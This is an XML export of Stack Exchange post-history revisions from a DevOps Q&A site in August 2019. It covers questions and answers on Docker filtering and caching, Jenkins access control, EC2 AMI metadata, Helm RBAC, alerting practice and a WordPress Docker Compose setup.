  <row Id="25757" PostHistoryTypeId="5" PostId="8758" RevisionGUID="37c44e0d-a079-4081-a8ca-46ff4ce6b4e6" CreationDate="2019-08-02T06:28:43.980" UserId="7078" Comment="added 181 characters in body" Text="Agile practices like scrum and kanban were primarily designed for software development.&#xD;&#xA;&#xD;&#xA;Interrupt and unplanned work is a significant component of what most SRE ([Site Reliability Engineering][1]) or DevOps teams do.  While it is always useful to use a tracking system like Jira to manage work, do sprint or kanban really work for SRE teams?&#xD;&#xA;&#xD;&#xA;The constraints I see are:&#xD;&#xA;&#xD;&#xA;- The work is very dynamic in nature, with priorities changing on a daily basis.  Because of this, the sprint duration of two weeks seems very aggressive and it adds unnecessary overhead.&#xD;&#xA;- People being on call adds another dimension to the problem. Sometimes, more than one team member might get involved in on call / post-mortem tasks.&#xD;&#xA;- The team doesn't have a single &quot;product&quot; and hence it doesn't yield itself to a common planning process&#xD;&#xA;- Daily standup meetings may not make much sense because of the lack of overlap among tasks&#xD;&#xA;- The team might be working on tasks related to more than one partner teams and hence spanning multiple Jira projects.  Since a sprint or kanban board allows only one Jira project, it may not be able to fit in all the work.&#xD;&#xA;&#xD;&#xA;From what I hear from many SREs that I have spoken to, sprint planning hasn't worked for them at all.  I would like to hear from the community here what their experience with sprint and kanban is.&#xD;&#xA;&#xD;&#xA;I asked this question on scrum.org as well:&#xD;&#xA;&#xD;&#xA;[Can scrum be used effectively by SRE teams?](https://www.scrum.org/forum/scrum-forum/32092/can-scrum-be-used-effectively-sre-teams)&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Site_Reliability_Engineering" ContentLicense="CC BY-SA 4.0" />
  <row Id="25758" PostHistoryTypeId="5" PostId="6526" RevisionGUID="e4988710-2739-4920-8d4b-cf4d57178a2e" CreationDate="2019-08-02T06:52:12.260" UserId="354" Comment="Clean up the grammar" Text="I have installed Jenkins X on kubernetes. I want to change the default installation and secure the Jenkins url, so that it will be not accessible to the public. &#xD;&#xA;&#xD;&#xA;Can I change it to some port, or some way to have a firewall for only few IPs allow to access the Jenkins URL.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25759" PostHistoryTypeId="24" PostId="6526" RevisionGUID="e4988710-2739-4920-8d4b-cf4d57178a2e" CreationDate="2019-08-02T06:52:12.260" Comment="Proposed by 354 approved by 46 edit id of 1042" ContentLicense="CC BY-SA 4.0" />
  <row Id="25760" PostHistoryTypeId="2" PostId="8790" RevisionGUID="c2901695-0ab5-4878-8f01-10f61871377b" CreationDate="2019-08-02T08:57:22.670" UserId="16338" Text="I am trying to figure out the solution for above question but i tried below commands but it didn't gave any output&#xD;&#xA;&#xD;&#xA;docker ps -a -f &quot;label=redis&quot; and docker ps -f &quot;name=redis&quot;.&#xD;&#xA;&#xD;&#xA;Please help me &#xD;&#xA;&#xD;&#xA;Thanks," ContentLicense="CC BY-SA 4.0" />
  <row Id="25761" PostHistoryTypeId="1" PostId="8790" RevisionGUID="c2901695-0ab5-4878-8f01-10f61871377b" CreationDate="2019-08-02T08:57:22.670" UserId="16338" Text="How to list containers that are using redis/ubuntu image in Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="25762" PostHistoryTypeId="3" PostId="8790" RevisionGUID="c2901695-0ab5-4878-8f01-10f61871377b" CreationDate="2019-08-02T08:57:22.670" UserId="16338" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25763" PostHistoryTypeId="2" PostId="8791" RevisionGUID="9dc2af5b-997b-46c6-9bba-f59a5a91a60f" CreationDate="2019-08-02T09:38:02.930" UserId="354" Text="I think you want the `ancestor` filter :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;$docker run -d --rm redis &#xD;&#xA;c4cf36467d63c66f7d3d8271dd0f8e51ede4a627048eb5e294a2445f5b0d30ef&#xD;&#xA;$ docker ps -f &quot;ancestor=redis&quot;&#xD;&#xA;CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;c4cf36467d63        redis               &quot;docker-entrypoint.s…&quot;   16 seconds ago      Up 15 seconds       6379/tcp            elated_yonath&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;See [Docker Docs on `ps`](https://docs.docker.com/engine/reference/commandline/ps/) for more&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25764" PostHistoryTypeId="2" PostId="8792" RevisionGUID="ede71fc6-b40a-430d-a548-e43bfeaa1bf3" CreationDate="2019-08-02T09:52:43.657" UserId="11474" Text="i have a flask api tunning a pytorch predict inside a kubernetes cluster.&#xD;&#xA;I deployed it on AWS and got good results.&#xD;&#xA;&#xD;&#xA;I have tried on GKE and had good results, but when im deploying my pods on a high cpu node that has over 32 vcpu, the predict take from 30ms to 1300 ms.&#xD;&#xA;&#xD;&#xA;Deploying my pod on a node that has less cpu make it run at 30ms.&#xD;&#xA;&#xD;&#xA;It makes no sense for me and i'm unable to get how's that possible.&#xD;&#xA;&#xD;&#xA;Thanks in advance for any infos" ContentLicense="CC BY-SA 4.0" />
  <row Id="25765" PostHistoryTypeId="1" PostId="8792" RevisionGUID="ede71fc6-b40a-430d-a548-e43bfeaa1bf3" CreationDate="2019-08-02T09:52:43.657" UserId="11474" Text="Google cloud container running 40x slower then on aws" ContentLicense="CC BY-SA 4.0" />
  <row Id="25766" PostHistoryTypeId="3" PostId="8792" RevisionGUID="ede71fc6-b40a-430d-a548-e43bfeaa1bf3" CreationDate="2019-08-02T09:52:43.657" UserId="11474" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25767" PostHistoryTypeId="5" PostId="8791" RevisionGUID="43aa5156-0d0c-448f-98fd-283d25682ee8" CreationDate="2019-08-02T10:16:45.093" UserId="354" Comment="put some context from the docker docs in case they are not linked in the future." Text="I think you want the `ancestor` filter :&#xD;&#xA;&#xD;&#xA;From the [Docker Docs on `ps`](https://docs.docker.com/engine/reference/commandline/ps/):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; `ancestor` - Filters containers which share a given image as an ancestor. Expressed as `image-name[:&lt;tag&gt;]`, `image id`, or `image@digest`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;$docker run -d --rm redis &#xD;&#xA;c4cf36467d63c66f7d3d8271dd0f8e51ede4a627048eb5e294a2445f5b0d30ef&#xD;&#xA;$ docker ps -f &quot;ancestor=redis&quot;&#xD;&#xA;CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;c4cf36467d63        redis               &quot;docker-entrypoint.s…&quot;   16 seconds ago      Up 15 seconds       6379/tcp            elated_yonath&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25768" PostHistoryTypeId="5" PostId="8790" RevisionGUID="c5005d98-6ef9-4ab7-b0ee-c61a47c6f790" CreationDate="2019-08-02T10:40:51.737" UserId="354" Comment="Reworded the question to make it more succinct." Text="I am trying to figure out the solution for the above question. I tried the  commands `docker ps -a -f &quot;label=redis&quot;` and `docker ps -f &quot;name=redis&quot;`, but that didn't gave any output.&#xD;&#xA;&#xD;&#xA;Please help me&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="25769" PostHistoryTypeId="24" PostId="8790" RevisionGUID="c5005d98-6ef9-4ab7-b0ee-c61a47c6f790" CreationDate="2019-08-02T10:40:51.737" Comment="Proposed by 354 approved by -1 edit id of 1043" ContentLicense="CC BY-SA 4.0" />
  <row Id="25770" PostHistoryTypeId="5" PostId="8790" RevisionGUID="1111dbb0-d9cf-405d-92ce-de65eb3e115b" CreationDate="2019-08-02T10:40:51.737" UserId="40" Comment="deleted 15 characters in body" Text="I am trying to figure out the solution for the above question. I tried the  commands `docker ps -a -f &quot;label=redis&quot;` and `docker ps -f &quot;name=redis&quot;`, but that didn't gave any output.&#xD;&#xA;&#xD;&#xA;Any help?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25772" PostHistoryTypeId="2" PostId="8794" RevisionGUID="f59ca95d-02d1-4dfb-9227-12603fc53e2f" CreationDate="2019-08-02T12:27:26.760" UserId="16343" Text="We have been using groovy script to read the build queue state:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def builder = new groovy.json.JsonBuilder()&#xD;&#xA;&#xD;&#xA;builder {&#xD;&#xA;  queueItems(Jenkins.instance.queue.items.collect { obj -&gt;&#xD;&#xA;	  [&#xD;&#xA;		id: obj.id,&#xD;&#xA;		name: obj.task.name,&#xD;&#xA;		isStuck: obj.stuck,&#xD;&#xA;		isBlocked: obj.blocked,&#xD;&#xA;		isDisabled: obj.task.disabled,&#xD;&#xA;		inQueueSince: obj.inQueueSince,&#xD;&#xA;		why: obj.why,&#xD;&#xA;		causesDescription: obj.causesDescription,&#xD;&#xA;		queueItemUrl: obj.url,&#xD;&#xA;		taskUrl: obj.task.url&#xD;&#xA;	  ]&#xD;&#xA;   })&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;println builder.toPrettyString()&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then we add [Azure AD plugin][1]. It requires an account with the `hudson.model.Hudson.Administer` permission to run a script.&#xD;&#xA;&#xD;&#xA;We use a tech account, but the problem is that everyone can logon interactively using this login and became Jenkins admin.&#xD;&#xA;&#xD;&#xA;Is it possible to have this account enabled, but restrict interactive logon to Jenkins?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/azure-ad" ContentLicense="CC BY-SA 4.0" />
  <row Id="25773" PostHistoryTypeId="1" PostId="8794" RevisionGUID="f59ca95d-02d1-4dfb-9227-12603fc53e2f" CreationDate="2019-08-02T12:27:26.760" UserId="16343" Text="Restrict user logon in Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="25774" PostHistoryTypeId="3" PostId="8794" RevisionGUID="f59ca95d-02d1-4dfb-9227-12603fc53e2f" CreationDate="2019-08-02T12:27:26.760" UserId="16343" Text="&lt;jenkins&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25778" PostHistoryTypeId="2" PostId="8796" RevisionGUID="49478785-8ab1-451a-aca2-dbe423abffda" CreationDate="2019-08-02T15:05:56.330" UserId="7730" Text="The docker cache needs the following:&#xD;&#xA;&#xD;&#xA;- Build has been run on the same docker host previously (or you explicitly added flags to trust a pulled image) and&#xD;&#xA;- The previous image needs to still be on the build host (not pruned) and&#xD;&#xA;- The same previous layer and either&#xD;&#xA;- The same command being run (including the same environment/args) or&#xD;&#xA;- The same hash on the files being copied&#xD;&#xA;&#xD;&#xA;If you see the cache being busted on a `COPY` or `ADD` command, and not the previous step, then you need to look at the hash being generated. All the files need to be identical, same file names, cases, file permissions, file owners, and the contents need to be bit for bit identical. You can look at the resulting checksum for this hash by running a `docker image history` command, e.g.:&#xD;&#xA;&#xD;&#xA;    $ docker image history golang:alpine&#xD;&#xA;    IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT&#xD;&#xA;    6b21b4c6e7a3        3 weeks ago         /bin/sh -c #(nop) WORKDIR /go                   0B&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c mkdir -p &quot;$GOPATH/src&quot; &quot;$GOPATH/b…   0B&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c #(nop)  ENV PATH=/go/bin:/usr/loc…   0B&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c #(nop)  ENV GOPATH=/go               0B&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c set -eux;  apk add --no-cache --v…   344MB&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c #(nop)  ENV GOLANG_VERSION=1.12.7    0B&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c [ ! -e /etc/nsswitch.conf ] &amp;&amp; ec…   17B&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c apk add --no-cache   ca-certifica…   551kB&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c #(nop)  CMD [&quot;/bin/sh&quot;]              0B&#xD;&#xA;    &lt;missing&gt;           3 weeks ago         /bin/sh -c #(nop) ADD file:0eb5ea35741d23fe3…   5.58MB&#xD;&#xA;&#xD;&#xA;You can include the `--no-trunc` option to get a full line. The key piece of data relevant to your question from the above image is in the `ADD` step where you see `file:0eb5ea35741d23fe3…`. If that checksum changes between two image builds, the cache will bust and you'll start a new set of layers." ContentLicense="CC BY-SA 4.0" />
  <row Id="25779" PostHistoryTypeId="2" PostId="8797" RevisionGUID="4acb2e9c-f6fb-473d-8348-6c915a11e864" CreationDate="2019-08-02T15:12:46.503" UserId="4400" Text="Is there any way to tell which AMI my EC2 instance was created from?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25780" PostHistoryTypeId="1" PostId="8797" RevisionGUID="4acb2e9c-f6fb-473d-8348-6c915a11e864" CreationDate="2019-08-02T15:12:46.503" UserId="4400" Text="Which AMI was my EC2 instance created from?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25781" PostHistoryTypeId="3" PostId="8797" RevisionGUID="4acb2e9c-f6fb-473d-8348-6c915a11e864" CreationDate="2019-08-02T15:12:46.503" UserId="4400" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;amazon-ami&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25782" PostHistoryTypeId="2" PostId="8798" RevisionGUID="1db1d616-f1c6-415f-883e-d56cd69b3ef6" CreationDate="2019-08-02T15:57:11.020" UserId="6579" Text="If you're running this code today via script console, you're probably running into a RejectedAccessException from the sandbox which is why you require admin access to run this coupled with and or needing administrator access to use the script console.&#xD;&#xA;&#xD;&#xA;If you put this code into a [shared library][1], the code becomes trusted, and you no longer require administrator access to run the code and you no longer need script console. You just need a job that can call the shared library, if needed you can restrict access to the folder or job.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/shared-libraries/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25783" PostHistoryTypeId="2" PostId="8799" RevisionGUID="8ab6a85d-6f21-457d-a7ab-05922e11bb3a" CreationDate="2019-08-02T16:39:00.780" UserId="354" Text="&gt; Is there any way to tell which AMI my EC2 instance was created from?&#xD;&#xA;&#xD;&#xA;## Short answer: yes.&#xD;&#xA;&#xD;&#xA;## Longer answer: yes - how would you like to get it?&#xD;&#xA;&#xD;&#xA;The AMI which the EC2 instance was launched with is part of the [EC2 instance metadata](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)&#xD;&#xA;&#xD;&#xA;Every instance publishes its metadata, which you can retrieve via the HTTP interface:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;curl http://&lt;instance.ip.address&gt;/latest/meta-data/ami-id&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(lifted directly from the AWS docs)&#xD;&#xA;&#xD;&#xA;Many people prefer the Python library for the AWS API ([boto3](https://boto3.amazonaws.com/v1/documentation/)). In this particular case you would need to use the [`instance.image_id`](api/latest/reference/services/ec2.html#EC2.Instance.image_id).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25784" PostHistoryTypeId="5" PostId="8799" RevisionGUID="464b0f33-1bdd-4fc7-8818-b65fd450c389" CreationDate="2019-08-02T16:46:24.217" UserId="354" Comment="added 7 characters in body" Text="&gt; Is there any way to tell which AMI my EC2 instance was created from?&#xD;&#xA;&#xD;&#xA;## Short answer: yes.&#xD;&#xA;&#xD;&#xA;## Longer answer: yes - how would you like to get it?&#xD;&#xA;&#xD;&#xA;The AMI which the EC2 instance was launched with is part of the [EC2 instance metadata](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)&#xD;&#xA;&#xD;&#xA;Every instance publishes its metadata, which you can retrieve via the HTTP interface:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;curl http://&lt;instance.ip.address&gt;/latest/meta-data/ami-id&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(lifted directly from the AWS docs)&#xD;&#xA;&#xD;&#xA;Many people prefer the Python library for the AWS API ([boto3](https://boto3.amazonaws.com/v1/documentation/)). In this particular case you would need to use the [`instance.image_id`](api/latest/reference/services/ec2.html#EC2.Instance.image_id) method.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25785" PostHistoryTypeId="50" PostId="6183" RevisionGUID="c02afaa3-7977-412f-820c-c2aa7b07298c" CreationDate="2019-08-02T20:03:10.587" UserId="-1" />
  <row Id="25786" PostHistoryTypeId="50" PostId="6463" RevisionGUID="67b85fc2-577a-46c1-9f0f-34948fba709b" CreationDate="2019-08-02T22:01:25.230" UserId="-1" />
  <row Id="25791" PostHistoryTypeId="5" PostId="8792" RevisionGUID="e4ac5376-c04f-4bba-b35b-3fddc0179ce7" CreationDate="2019-08-03T04:44:11.723" UserId="5868" Comment="no thanks on stack exchange" Text="i have a flask api tunning a pytorch predict inside a kubernetes cluster.&#xD;&#xA;I deployed it on AWS and got good results.&#xD;&#xA;&#xD;&#xA;I have tried on GKE and had good results, but when im deploying my pods on a high cpu node that has over 32 vcpu, the predict take from 30ms to 1300 ms.&#xD;&#xA;&#xD;&#xA;Deploying my pod on a node that has less cpu make it run at 30ms.&#xD;&#xA;&#xD;&#xA;It makes no sense for me and i'm unable to get how's that possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="25792" PostHistoryTypeId="24" PostId="8792" RevisionGUID="e4ac5376-c04f-4bba-b35b-3fddc0179ce7" CreationDate="2019-08-03T04:44:11.723" Comment="Proposed by 5868 approved by -1 edit id of 1044" ContentLicense="CC BY-SA 4.0" />
  <row Id="25793" PostHistoryTypeId="5" PostId="8792" RevisionGUID="3252d3fd-0d9b-406d-b9dd-faaee92dd541" CreationDate="2019-08-03T04:44:11.723" UserId="40" Comment="added 1 character in body" Text="i have a flask api tunning a pytorch predict inside a kubernetes cluster.&#xD;&#xA;I deployed it on AWS and got good results.&#xD;&#xA;&#xD;&#xA;I have tried on GKE and had good results, but when im deploying my pods on a high cpu node that has over 32 vcpu, the predict take from 30ms to 1300 ms.&#xD;&#xA;&#xD;&#xA;Deploying my pod on a node that has less cpu makes it run at 30ms.&#xD;&#xA;&#xD;&#xA;It makes no sense for me and i'm unable to get how's that possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="25794" PostHistoryTypeId="2" PostId="8800" RevisionGUID="a551d769-1c0c-4664-8681-1fe9ce75e3fe" CreationDate="2019-08-03T10:26:52.213" UserId="16361" Text="I have setup a simple flask application in a docker container. My docker file is as follows:&#xD;&#xA;&#xD;&#xA;    FROM python&#xD;&#xA;    ADD . /app&#xD;&#xA;    WORKDIR /app&#xD;&#xA;    RUN pip install -r requirements.txt&#xD;&#xA;    CMD [&quot;python&quot;, &quot;myFlask.py&quot;]&#xD;&#xA;&#xD;&#xA;I start the container using &#xD;&#xA;&#xD;&#xA;    docker run -d myContainer&#xD;&#xA;&#xD;&#xA;I retrieve the internal IP address by&#xD;&#xA;&#xD;&#xA;    docker exec -ti &lt;containerID&gt; cat /etc/hosts&#xD;&#xA;&#xD;&#xA;and it's 172.17.0.2. When I try to ping this address or try to access the REST API using curl I cannot reach it. When I use port forwarding using `-p 5000:5000` as part of the run command I can reach the REST API under localhost:5000. I am working under OS X.&#xD;&#xA;&#xD;&#xA;Why can't I reach the container under its local IP?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25795" PostHistoryTypeId="1" PostId="8800" RevisionGUID="a551d769-1c0c-4664-8681-1fe9ce75e3fe" CreationDate="2019-08-03T10:26:52.213" UserId="16361" Text="Not possible to ping or reach a container under its local IP" ContentLicense="CC BY-SA 4.0" />
  <row Id="25796" PostHistoryTypeId="3" PostId="8800" RevisionGUID="a551d769-1c0c-4664-8681-1fe9ce75e3fe" CreationDate="2019-08-03T10:26:52.213" UserId="16361" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25797" PostHistoryTypeId="2" PostId="8801" RevisionGUID="8f737626-ecc4-41ac-bbc8-4e2fa336411a" CreationDate="2019-08-03T10:49:35.963" UserId="16361" Text="I think I found the answer here: https://docs.docker.com/docker-for-mac/networking/#known-limitations-use-cases-and-workarounds. It's not working under OS X: &quot;Docker Desktop for Mac can’t route traffic to containers.&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25798" PostHistoryTypeId="2" PostId="8802" RevisionGUID="184c75bc-9be4-4d5a-852b-59a6edaf1087" CreationDate="2019-08-03T12:02:35.653" UserId="10607" Text="Although it is possible to specify the kube-system for namespace :&#xD;&#xA;&#xD;&#xA;    helm install stable/kubernetes-dashboard --namespace=kube-system --name dashboard-demo&#xD;&#xA;&#xD;&#xA;Kubernetes authorizes API requests using the API server. It evaluates all of the request attributes against all policies and allows or denies the request. All parts of an API request must be allowed by some policy in order to proceed. This means that permissions are denied by default.&#xD;&#xA;&#xD;&#xA;For more details see: [kubernetes authorization][1] &#xD;&#xA;  [1]: https://kubernetes.io/docs/reference/access-authn-authz/authorization/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25799" PostHistoryTypeId="50" PostId="8512" RevisionGUID="d0b1cd15-e4cf-44de-95eb-1f95e0e14c8e" CreationDate="2019-08-03T19:01:20.140" UserId="-1" />
  <row Id="25800" PostHistoryTypeId="2" PostId="8803" RevisionGUID="9fdd96f7-6d22-4506-a77c-c90a01a8e1ba" CreationDate="2019-08-04T00:03:35.300" UserId="6354" Text="After years of developing a variety of monitoring tools which employ a variety of approaches to track data points ranging from filtered logs, system stats (querying data from /proc), and putting concise “tagging” code inside application workflow code to track overall performance. From this, I have learned some key principles to avoid “alert fatigue” which is simply getting so many alert messages by your pager, email, or whatever notifier you use that your staff starts ignoring important events or just drives them slowly insane.&#xA;&#xA;These are just what I would say are relevant to your question, but of course there are gobs of other principles to good monitoring and alerting.&#xA;&#xA; - **All alerts should be “actionable”**. That is, if a pun alert notification is sent, it means something should be done. This is the principle cause of “alert fatigue” because there are too many alerts that “can be ignored” and I still bad habits. These actionable alerts could require manually running a process or restarting something, or just making sure that your site is “holistically” healthy. Don’t page people in the middle of the night for no good reason. If you have alerts that you tell others “just ignore it”, you have a problem and that monitor should be either tuned to be useful or have alerting turned off. This “alert noise” creates the “boy who cried ‘wolf’ problem” and you eventually will have people ignoring things.&#xA; - **Notification “insistence should be appropriate to the problem**. For example, when you have a production impacting event, day or night, appropriate people who can fix the problem should be paged where the  expectation is that the alert gets acknowledged in a short time before automatically getting escalated, etc.... On the other hand, If the issue is something that can wait until the next business day such as a disk slowly filling up or a not production issue, send an email or message to a Slack channel to be addressed later, probably the next business day.&#xA; - **Use monitoring dependencies whenever possible to avoid alert “storms**”. A proper monitoring toolset should allow you to set up a dependency relationship so that altering is suppressed if a larger (worse) issue would cause monitoring failures. A Simple example would be if a host is unreachable, sent just a network alert. Don’t send alerts about disk, ports, etc... all of which require network connectivity to ever work. That just muddies the waters when you need clarity so you can quickly resolve problems by looking at your alert lost for a couple seconds, not scrolling through pages of alerts.&#xA;&#xA;Start with these first if “alert fatigue” is a problem." ContentLicense="CC BY-SA 4.0" />
  <row Id="25807" PostHistoryTypeId="5" PostId="8802" RevisionGUID="814b136e-d47a-4845-9a14-4afda897186c" CreationDate="2019-08-04T08:37:36.620" UserId="10607" Comment="added 142 characters in body" Text="By default, tiller stores release information in ConfigMaps in the namespace where it is running.&#xD;&#xA;&#xD;&#xA;You can refer to the official [Helm RBAC documentation][1] for more information on setting up different RBAC scenarios for Tiller.&#xD;&#xA;&#xD;&#xA;Kubernetes authorizes API requests using the API server. It evaluates all of the request attributes against all policies and allows or denies the request. All parts of an API request must be allowed by some policy in order to proceed. This means that permissions are denied by default.&#xD;&#xA;&#xD;&#xA;For more details see: [kubernetes authorization][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://helm.sh/docs/using_helm/#role-based-access-control&#xD;&#xA;  [2]: https://kubernetes.io/docs/reference/access-authn-authz/authorization/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25812" PostHistoryTypeId="2" PostId="8806" RevisionGUID="a2ae10c2-7fe2-4ddb-8323-4dc2a053219f" CreationDate="2019-08-04T21:19:21.527" UserId="16378" Text="The terms container runtime and orchestrator always confuse me. Can someone please put these in simple terms?&#xA;&#xA;Thanks " ContentLicense="CC BY-SA 4.0" />
  <row Id="25813" PostHistoryTypeId="1" PostId="8806" RevisionGUID="a2ae10c2-7fe2-4ddb-8323-4dc2a053219f" CreationDate="2019-08-04T21:19:21.527" UserId="16378" Text="Container runtime Vs orchestrator" ContentLicense="CC BY-SA 4.0" />
  <row Id="25814" PostHistoryTypeId="3" PostId="8806" RevisionGUID="a2ae10c2-7fe2-4ddb-8323-4dc2a053219f" CreationDate="2019-08-04T21:19:21.527" UserId="16378" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25815" PostHistoryTypeId="2" PostId="8807" RevisionGUID="61026c78-4576-4690-a1ba-5639511a38d6" CreationDate="2019-08-04T22:09:17.297" UserId="16378" Text="Have your read NIST 800 190? This document was co written by John morello who is the chief technology officer for twistlock, the company which does container security.&#xA;&#xA;This NIST document helped me in understanding various attacks and what you can do. This might help you." ContentLicense="CC BY-SA 4.0" />
  <row Id="25816" PostHistoryTypeId="2" PostId="8808" RevisionGUID="38c365f7-8926-4eba-8a18-cd8ba1179fb4" CreationDate="2019-08-05T03:24:08.943" UserId="16379" Text="I'm trying to create a simple project template for WordPress sites, which includes a global nginx proxy and *n* WP sites, each with their own mySQL server. I'd like to be able to `git clone` this template, spin up Docker through a shell script and have it create a the linked services for each site, such that multiple sites can all run on the same machine and not conflict with each other.&#xD;&#xA;&#xD;&#xA;Here's what I have for the global proxy service:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3&quot;&#xD;&#xA;services:&#xD;&#xA;  nginx-proxy:&#xD;&#xA;    image: jwilder/nginx-proxy&#xD;&#xA;    container_name: nginx-proxy&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;80:80&quot;&#xD;&#xA;      - &quot;443:443&quot;&#xD;&#xA;    volumes:&#xD;&#xA;      - ./certs:/etc/nginx/certs:ro&#xD;&#xA;      - /var/run/docker.sock:/tmp/docker.sock:ro&#xD;&#xA;    restart: unless-stopped&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  default:&#xD;&#xA;    external:&#xD;&#xA;      name: nginx-proxy&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And here's what I have for the site docker config:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  mysql:&#xD;&#xA;    image: mysql:5.7&#xD;&#xA;    volumes:&#xD;&#xA;      - wordpress_data:/var/lib/mysql&#xD;&#xA;    restart: always&#xD;&#xA;    environment:&#xD;&#xA;      MYSQL_DATABASE: ${PROJECT_NAME}&#xD;&#xA;      MYSQL_ROOT_PASSWORD: somewordpress&#xD;&#xA;    container_name: ${PROJECT_NAME}-mysql&#xD;&#xA;&#xD;&#xA;  wordpress:&#xD;&#xA;    depends_on:&#xD;&#xA;      - mysql&#xD;&#xA;    image: wordpress:latest&#xD;&#xA;    volumes:&#xD;&#xA;      - wordpress_data:/var/lib/mysql&#xD;&#xA;    restart: always&#xD;&#xA;    environment:&#xD;&#xA;      VIRTUAL_HOST: ${PROJECT_NAME}.local&#xD;&#xA;      WORDPRESS_DB_HOST: mysql&#xD;&#xA;      WORDPRESS_DB_NAME: ${PROJECT_NAME}&#xD;&#xA;      WORDPRESS_DB_PASSWORD: somewordpress&#xD;&#xA;      WORDPRESS_TABLE_PREFIX: ${PROJECT_NAME}_&#xD;&#xA;    container_name: ${PROJECT_NAME}-wordpress&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  wordpress_data:&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  default:&#xD;&#xA;    external:&#xD;&#xA;      name: nginx-proxy&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In each project, I check for the existence of the global proxy service before attempting to create it (using a shell script).&#xD;&#xA;&#xD;&#xA;I can get each site to spin up fine, but it seems that the MySQL and WP services can only run one at a time.&#xD;&#xA;&#xD;&#xA;I've thought about trying to put them on their own subnet, with an nginx server routing incoming requests (from the global reverse proxy), but haven't gotten a working model.&#xD;&#xA;&#xD;&#xA;Any help is appreciated, I've been at this for some time." ContentLicense="CC BY-SA 4.0" />
  <row Id="25817" PostHistoryTypeId="1" PostId="8808" RevisionGUID="38c365f7-8926-4eba-8a18-cd8ba1179fb4" CreationDate="2019-08-05T03:24:08.943" UserId="16379" Text="Docker Compose for Multicontainer WordPress" ContentLicense="CC BY-SA 4.0" />
  <row Id="25818" PostHistoryTypeId="3" PostId="8808" RevisionGUID="38c365f7-8926-4eba-8a18-cd8ba1179fb4" CreationDate="2019-08-05T03:24:08.943" UserId="16379" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
